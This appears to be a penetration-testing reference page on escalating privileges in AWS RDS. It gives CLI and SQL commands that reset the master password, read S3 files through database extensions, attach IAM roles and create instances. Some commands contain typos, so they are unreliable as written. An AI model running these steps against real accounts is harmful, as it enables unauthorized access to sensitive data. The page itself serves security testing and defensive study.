AWS - RDS Privesc

Reading time: 6 minutes

RDS - Relational Database Service

For more information about RDS check:

AWS - Relational Database (RDS) Enum

`rds:ModifyDBInstance`

With that permission an attacker can **modify the password of the master user**, and the login inside the database:

```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
    --db-instance-identifier <db-id> \
    --master-user-password 'Llaody2f6.123' \
    --apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```

> You will need to be able to **contact to the database** (they are usually only accessible from inside networks).

Potential Impact: Find sensitive info inside the databases.

rds-db:connect

According to the **docs** a user with this permission could connect to the DB instance.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

> If running `SELECT datname FROM pg_database;` you find a database called `rdsadmin` you know you are inside an **AWS postgresql database**.

First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions:

```sql
SELECT * FROM pg_extension;
```

If you find something like `aws_s3` you can assume this database has **some kind of access over S3** (there are other extensions such as `aws_ml` and `aws_lambda`).

Also, if you have permissions to run `aws rds describe-db-clusters` you can see there if the **cluster has any IAM Role attached** in the field `AssociatedRoles`. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has.

Now, to **read a file inside a bucket** you need to know the full path. You can read it with:

```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
   'test1234567890678', // Name of the bucket
   'data.csv',          // Name of the file
   'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```

If you had **raw AWS credentials** you could also use them to access S3 data with:

```sql
SELECT aws_s3.table_import_from_s3(
   't', '', '(format csv)',
   :'s3_uri',
   aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```

> Postgresql **doesn't need to change any parameter group variable** to be able to access S3.

Mysql (Aurora)

> Inside a mysql, if you run the query `SELECT User, Host FROM mysql.user;` and there is a user called `rdsadmin`, you can assume you are inside an **AWS RDS mysql db**.

Inside the mysql run `show variables;` and if the variables such as `aws_default_s3_role`, `aurora_load_from_s3_role`, `aurora_select_into_s3_role`, have values, you can assume the database is prepared to access S3 data.

Also, if you have permissions to run `aws rds describe-db-clusters` you can check if the cluster has any **associated role**, which usually means access to AWS services).

Now, to **read a file inside a bucket** you need to know the full path. You can read it with:

```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```

`rds:AddRoleToDBCluster`, `iam:PassRole`

An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.

```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```

Potential Impact: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also.

`rds:CreateDBInstance`

Just with this permission an attacker could create a **new instance inside a cluster** that already exists


```
aws --region eu-west-1 --profile none-priv rds create-db-instance \
    --db-instance-identifier mydbinstance2 \
    --db-instance-class db.t3.medium \
    --engine aurora-postgresql \
    --db-cluster-identifier database-1 \
    --db-security-groups "string" \
    --publicly-accessible
```

`rds:CreateDBInstance`, `iam:PassRole`

> TODO: Test

An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance.

> Some requirements of the role/instance-profile to attach (from here):

- The profile must exist in your account.
- The profile must have an IAM role that Amazon EC2 has permissions to assume.
- The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .

```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```

Potential Impact: Access to sensitive data or unauthorized modifications to the data in the RDS instance.

`rds:AddRoleToDBInstance`, `iam:PassRole`

An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance.

The DB instance must be outside of a cluster for this

```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```

Potential Impact: Access to sensitive data or unauthorized modifications to the data in the RDS instance.